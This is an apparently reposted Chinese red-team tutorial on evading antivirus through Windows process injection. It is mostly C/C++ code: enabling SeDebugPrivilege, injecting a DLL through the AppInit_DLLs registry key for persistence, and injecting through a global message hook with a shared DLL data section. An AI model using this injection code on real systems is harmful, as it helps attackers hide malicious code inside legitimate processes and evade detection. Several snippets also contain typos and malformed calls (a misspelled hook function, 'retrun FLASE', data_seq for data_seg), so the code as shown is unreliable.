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原文链接:HVV技术干货 | 红队免杀必会-进程注入-注册表-全局钩
概要:进程注入 ,简而言之就是将代码注入到另一个进程中,跨进程内存注入,即攻击者将其代码隐藏在合法进程中,长期以来一直被用作逃避检测的手段.
前言
进程注入 ,简而言之就是将代码注入到另一个进程中,跨进程内存注入,即攻击者将其代码隐藏在合法进程中,长期以来一直被用作逃避检测的手段.
进程的注入方式可以分为DLL注入和shellcode注入,这两种方式本质上没有区别,在操作系统层面上,dll也就是shellcode的汇编代码。
代码框架
想法是尽量用一个通用的注入框架,有异常接收,令牌权限开启,获取进程PID的功能,只需要在main函数中调用不同的注入方式:
- #include "public.h"
- int main() {
- DWORD pid = GetPid();
- if (pid == 0) {
- ShowError("Getpid");
- return -1;
- }
- //std::cout<<"Pid:" << pid << std::endl;
- if (!EnableDebugPrivilege(TRUE)) {
- ShowError("EnableDebugPrivilege");
- return -1;
- }
- BOOL bRet = Inject(DWORD dwPid, CHAR code[]);
- if (bRet != TRUE)
- {
- ShowError("Inject");
- return -1;
- }
- system("pause");
- return 0;
- }
- BOOL Inject(DWORD dwPid, CHAR code[])
- {
- BOOL ret = TRUE;
- return ret;
- }
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获取进程pid
主要实现通过进程名称获取进程Pid,代码很简单如下:
- DWORD GetPid() {
- //获取进程快照
- HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- //创建进程结构体
- PROCESSENTRY32 process = { 0 };
- process.dwSize = sizeof(process);
- if (Process32First(snapshot, &process)) {
- do {
- if (!wcscmp(process.szExeFile, L"notepad.exe"))
- break;
- } while (Process32Next(snapshot, &process));
- }
- CloseHandle(snapshot);
- return process.th32ProcessID;
- }
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错误处理
错误、异常处理,用来接收的返回值GetLastError():
- VOID ShowError(PCHAR msg)
- {
- printf("%s Error %d\n", msg, GetLastError());
- }
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进程提权
AdjustTokenPrivileges
在进程注入中,如果要对其他进程(包括系统进程和服务进程)进行注入,需要获取当前进程的SeDeBug权限来调用OpenProcess打开要注入的进程。如果用户是管理员组下的成员是具有该权限的。
但是当我们用Administrator身份去打开一个进程时,还是会出现拒绝访问的错误:
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错误代码为5表示拒绝访问:
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这是因为默认情况下,某些进程的访问权限是没有开启的。所谓的"提权",其实就是将原有的权限开启,并不是真正意思上的提权,微软提供了一些可供我们修改令牌权限,比如:
AdjustTokenPrivileges function (securitybaseapi.h) - Win32 apps | Microsoft Docs
具体用法如下:
//开启进程调试权限 Debug- BOOL EnableDebugPrivilege(BOOL bEnable)
- {
- HANDLE hToken = nullptr;
- LUID luid;
- if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
- if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
- TOKEN_PRIVILEGES tokenPriv;
- tokenPriv.PrivilegeCount = 1;
- tokenPriv.Privileges[0].Luid = luid;
- tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
- if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
- return TRUE;
- }
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开启该权限后,编程程序,右键管理员打开,开启权限成功:
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RtlAdjustPrivilege
这是一个微软未公开的API,封装在ntdll.dll中。
补充一句:
ntdll.dll是Windows系统从Ring3到Ring0的入口,位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的,也就是说所有的程序都会调用ntdll.dll。
32位系统通过SYSENTRY进入Ring0
64位系统通过SYSCALL进入Ring0
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函数定义如下:
- NTSTATUS RtlAdjustPrivilege
- (
- ULONG Privilege, // 所需要的权限名称,可以到MSDN查找关于Process Token & Privilege内容可以查到
- BOOLEAN Enable, // 如果为True 就是打开相应权限,如果为False 则是关闭相应权限
- BOOLEAN CurrentThread, // 如果为True 则仅提升当前线程权限,否则提升整个进程的权限
- PBOOLEAN Enabled // 输出原来相应权限的状态(打开 | 关闭)
- )
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可以借助IDA载入ntdll.dll对该API进行分析,按F5可查看伪代码:
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用法如下,同样需要以管理员身份运行:
- BOOL NTEnableDebugPrivilege() {
- int nEn = 0;
- const unsigned long SE_DEBUG_PRIVILEGE = 0x14;
- HMODULE hDll = ::LoadLibrary(L"ntdll.dll");
- typedef int(_stdcall* type_RtlAdjustPrivilege)(int, BOOL, BOOL, int*);
- type_RtlAdjustPrivilege RtlAdjustPrivilege = (type_RtlAdjustPrivilege)GetProcAddress(hDll, "RtlAdjustPrivilege");
- RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, true, &nEn);
- return true;
- }
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AppInit_DLLs注入
windows整个系统的配置都保存在这个注册表中,我们可以通过调整其中的设置来改变系统的行为,恶意软件常用于注入和持久性的注册表项条目位于以下位置:
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
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当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,当User32.dll对它进行处理的时候,会取得上述注册表键的值,并调用LoadLibary来载入这个字符串中指定的每个DLL。
只要将AppInit_DLLs设置为要注入的DLL的路径并且将LoadAppInit_DLLs的值改成1。那么,当程序重启的时候,所有加载user32.dll的进程都会根据AppInit_Dlls中的DLL路径加载指定的DLL。
需要注意的是,在win7之后,windows对dll加载的安全性增加了控制,
- LoadAppInit_DLLs 为1开启,为0关闭,(Win7默认为0)
- RequireSignedAppInit_DLLs 值为1表明模块需要签名才能加载,反之。
- BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
- {
- BOOL bRet = TRUE;
- HKEY hKey = NULL;
- CHAR szAppKeyName[] = { "AppInit_DLLs" };
- CHAR szLoadAppKeyName[] = { "LoadAppInit_DLLs" };
- DWORD dwLoadAppInit = 1; //设置LoadAppInit_DLLs的值
- //打开相应注册表键
- if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
- 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
- {
- ShowError("RegOpenKeyEx");
- bRet = FALSE;
- goto exit;
- }
- //设置AppInit_DLLs为相应的DLL路径
- if (RegSetValueEx(hKey, szAppKeyName, 0, REG_SZ, (PBYTE)szDllName, strlen(szDllName) + 1) != ERROR_SUCCESS)
- {
- ShowError("RegSetValueEx");
- bRet = FALSE;
- goto exit;
- }
- //将LoadAppInit_DLLs的值设为1
- if (RegSetValueEx(hKey, szLoadAppKeyName, 0, REG_DWORD, (PBYTE)&dwLoadAppInit, sizeof(dwLoadAppInit)) != ERROR_SUCCESS)
- {
- ShowError("RegSetValueEx");
- bRet = FALSE;
- goto exit;
- }
- exit:
- return bRet;
- }
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Tips:
- 被注入的DLL是在进程的生命周期的早期(Loader)被载入的,因此我们在调用函数的时候应该谨慎,调用Kernel32.dll中的函数应该没有问题,但是调用其他DLL中的函数可能会导致失败,甚至可能会导致蓝屏
- User32.dll不会检查每个DLL的载入或初始化是否成功,所以不能保证DLL注入一定成功
- DLL只会被映射到那些使用了User32.dll的进程中,所有基于GUI的应用程序都使用了User32.dll,但大多数基于CUI的应用程序都不会使用它。因此,如果想要将DLL注入到编译器或者链接器或者命令行程序,这种方法就不可行
- DLL会被映射到每个基于GUI的应用程序中,可能会因为DLL被映射到太多的进程中,导致"容器"进程崩溃
- 注入的DLL会在应用程序终止之前,一直存在于进程的地址空间中,这个技术无法做到只在需要的时候才注入我们的DLL
全局钩子注入
Windows系统中的大多数应用都是基于消息机制的,也就是说它们都有一个消息过程函数,可以根据收到的不同消息来执行不同的代码。基于这种消息机制,Windows维护了一个OS message queue以及为每个程序维护着一个application message queue。当发生各种事件的时候,比如敲击键盘,点击鼠标等等,操作系统会从OS message queue将消息取出给到相应的程序的application message queue。
而OS message queue和application message queue的中间有一个称为钩链的结果如下
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如果创建的是一个全局钩子,那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的。发生对于事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件的进程空间地址中,使它能够调用钩子函数进行处理。
在操作系统中安装全局钩子后,只要进程接收到收到可以发出钩子的消息,全局钩子的DLL文件就会由操作系统自动或强行的加入到该进程中。因此,设置全局钩子可以达到DLL注入的目的。
为了能够让DLL注入到所有进程中,程序设置WH_GETMESSAGE消息的全局钩子。因为WH_GETMESSAGE类型的钩子会监视消息队列,并且Windows系统是基于消息驱动的,所以所有进程都有自己的一个消息队列,都会加载WH_GETMESSAGE类型的全局钩子DLL。
钩子函数就需要使用SetWindowHookEx来将钩子函数安装到钩链中,函数在文档中的定义如下
HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
举个栗子:
- //设置全局钩子
- BOOL SetGlobalHook(){
- g_hHook = SetWWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GETMsgProc,g_hDLLModule,0);
- if (NULL == g_hHook){
- retrun FLASE;
- }
- return TRUE;
- }
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在上述代码中,SetWindowsHookEx的第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子,它可以监视发送到消息队列的消息,前面已经提到了。第二个参数表示钩子回调函数,回调函数的名称可以是任意的,参数和返回值是固定的。第三个参数表示包含钩子回调函数DLL模块句柄,如果要设置全局钩子,则该参数必须指定DLL模块句柄。第四个参数表示与钩子关联的线程ID,0表示全局钩子。
- //钩子回调函数
- LRESULT GetMsgProc(int code,WPARAM wParam,LPARAM lParam){
- return CallNextHookEx(g_hHook,code,wParam,lParam);
- }
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上述代码中,函数的参数和返回值的数据类型是固定的。其中,CallNextHookEx函数表示将当前钩子传递给钩子链中的下一个钩子,第一个参数要指定当前钩子的句柄。如果直接返回0,则表示中断钩子传递,对钩子进行拦截。
当钩子不再使用时,可以卸载全局钩子,此时已经包含钩子函数的DLL模块的进程,将会释放DLL模块。卸载全局钩子代码如下:
- //卸载钩子
- BOOL UnsetGlobalHook(){
- if (g_hHook){
- UnhookWindowsHookEx(g_hHook);
- }
- return true;
- }
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UnsetGlobalHook 函数用来卸载指定钩子,参数便是卸载钩子的句柄。
我们知道,全局钩子是以DLL的形式加载到其他进程空间中的,而且进程都是独立的,所以任意修改一个内存里的数据是不会影响另一个进程的。那么如何实现注入呢?可以在DLL中创建共享内存。
共享内存是指突破进程独立性,多个进程共享一段内存。在DLL中创建一个变量,让后将DLL加载到多个进程空间,只要一个进程就该了该变量值,其他进程DLL中的这个值也会改变,相当于多个进程共享也给内存。
共享内存原理实现:首先为DLL创建一个数据段,然后在对程序的链接器进行设置,把指定的数据段链接为共享数据段。
代码实现:
- //内存共享
- #pragma data_seq("mydata")
- HHOOK g_hHook = NULL;
- #pragma data_seq();
- #pragma comment(linker,"/SECTION:mydata,RWS")
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使用#pragma data_seq("mydata")创建一个共享的数据段,然后#pragma comment(linker,"/SECTION:mydata,RWS") 设置为可读可写可执行。
- BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
- {
- typedef BOOL(*typedef_SetGlobalHook)();
- typedef BOOL(*typedef_UnsetGlobalHook)();
- HMODULE hDll = NULL;
- typedef_SetGlobalHook SetGlobalHook = NULL;
- typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
- BOOL bRet = FALSE;
- do
- {
- hDll = ::LoadLibrary("GlobalHook_Test.dll");
- if (NULL == hDll)
- {
- ShowError("LoadLibrary");
- break;
- }
- SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");
- if (NULL == SetGlobalHook)
- {
-
- ShowError("GetProcAddress");
- break;
- }
- bRet = SetGlobalHook();
- if (bRet)
- {
- printf("SetGlobalHook OK.\n");
- }
- else
- {
- ShowError("SetGlobalHook");
- }
- system("pause");
- UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook");
- if (NULL == UnsetGlobalHook)
- {
- ShowError("GetprocAddress");
- break;
- }
- UnsetGlobalHook();
- printf("UnsetGlobalHook OK.\n");
- }while(FALSE);
- system("pause");
- return true;
- }
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